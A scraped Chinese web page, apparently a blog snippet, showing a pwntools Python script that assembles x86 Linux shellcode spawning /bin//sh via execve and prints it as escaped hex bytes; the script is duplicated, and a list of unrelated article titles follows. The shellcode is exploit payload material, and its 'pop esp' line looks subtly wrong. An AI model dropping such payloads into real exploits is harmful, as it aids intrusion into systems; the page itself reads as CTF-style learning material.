shellcode转16进制
来源:互联网 发布:sql中两个select语句 编辑:程序博客网 时间:2024/06/08 19:01
from pwn import *
code = """
xor eax,eax
pop esp
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
push eax
push ebx
mov ecx,eax
mov al,0xb
int 0x80 """
context(arch='x86', os='linux', endian='little', word_size=32)
shellcode = asm(code).encode('hex')
re = ''
while len(shellcode):
re += r'\x'+shellcode[:2]
shellcode = shellcode[2:]
print re
code = """
xor eax,eax
pop esp
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
push eax
push ebx
mov ecx,eax
mov al,0xb
int 0x80 """
context(arch='x86', os='linux', endian='little', word_size=32)
shellcode = asm(code).encode('hex')
re = ''
while len(shellcode):
re += r'\x'+shellcode[:2]
shellcode = shellcode[2:]
print re
阅读全文
0 0
- shellcode转16进制
- shellcode
- Shellcode
- Shellcode
- shellcode
- shellcode
- shellcode
- Shellcode
- shellcode
- shellcode
- Shellcode
- Shellcode
- shellcode
- shellcode
- Shellcode
- 2017-3-16 shellcode编写
- Linux shellcode 编写入门 (转)
- Linux shellcode 编写入门 (转)
- postgresql的主分表
- asp.net多选项卡页面的创建及使用方法
- ios-NSFileHandle和NSOutputStream
- 集合---Map
- PHP 转码 UTF-8 ,ICONV
- shellcode转16进制
- 分布式系统中 Unique ID 的生成方法
- 初识RxJava
- 自定义泛型
- 51nod 1491-黄金系统(数论->递推)
- Hive 之 ORC
- 快速近似最近邻搜索库 FLANN
- nodejs发展前景
- C++11 相关教程